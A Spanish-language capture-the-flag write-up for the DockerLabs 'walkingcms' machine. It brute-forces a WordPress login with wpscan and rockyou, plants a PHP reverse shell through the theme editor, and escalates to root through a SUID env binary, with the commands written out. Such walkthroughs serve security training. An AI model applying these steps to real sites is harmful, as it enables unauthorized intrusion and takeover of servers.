machine

Enumeración

Escaneo de puertos:

nmap -p- --open --min-rate 5000 -vvv -sS 172.17.0.2
Host is up, received arp-response (0.0000090s latency).
Scanned at 2024-06-25 20:15:08 -03 for 1s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64

Detectamos versión y servicio de los puertos abiertos:

nmap -sCV -p80 172.17.0.2
Host is up (0.000050s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)

Vamos a utilizar gobuster para realiar fuzzing y encontrar directorios ocultos:

gobuster dir -u http://172.17.0.2 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

walkingcms

Intrusión

Vemos que existe un Wordpress, por lo que vamos a realizar un escaneo con wpscan para enumerar usuarios, plugins y vulnerabilidades:

wpscan --url http://172.17.0.2/wordpress -e u,vp

Nos lista bastante información. Algo a destacar, es que nos encuentra el usuario mario:

walkingcms

Por lo tanto, ahora realizaremos fuerza bruta utilizando este usuario y el rockyou:

wpscan --url http://172.17.0.2/wordpress -U mario -P /usr/share/wordlist/rockyou.txt

Obtenemos la contraseña love:

walkingcms

Ahora, buscaremos el panel de login utilizando nuevamente gobuster:

gobuster dir -u http://172.17.0.2/wordpress -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,html

walkingcms

Ingresamos a /wp-admin/ y nos logueamos con las credenciales obtenidas:

walkingcms

Para obtener una Reverse Shell, vamos a modificar el thema. En este caso, se está utilizando twentytwentytwo. Lo vimos en el escaneo de wpscan:

walkingcms

Desde el WordPress vamos a Apariencia -> Theme Code Editor, y editamos por ejemplo functions.php. Borramos todo el contenido y pegamos el php-reverse-shell.php de Monkey Pentest, modificando la IP y puerto:

walkingcms

Nos ponemos a la escucha con netcat y al acceder a http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/functions.php, obtenemos la Shell como el usuario www-data:

walkingcms

Hacemos un tratamiento de la TTY y luego nos ponemos a enumerar la máquina. No vemos que exista ningún usuario en el sistema, más allá de root. No existe el usuario mario:

walkingcms

Escalación de privilegios

Vamos a buscar permisos SUID:

find / -perm -4000 2>/dev/null

walkingcms

Nos llama la atención /usr/bin/env. Apoyándonos en GTFOBins, vemos que podemos ejecutarlo de la siguiente manera:

./env /bin/sh -p

Especificamos la ruta absoluta, y al ejecutarlo, somos root:

walkingcms


Published

Category

DockerLabs

Tags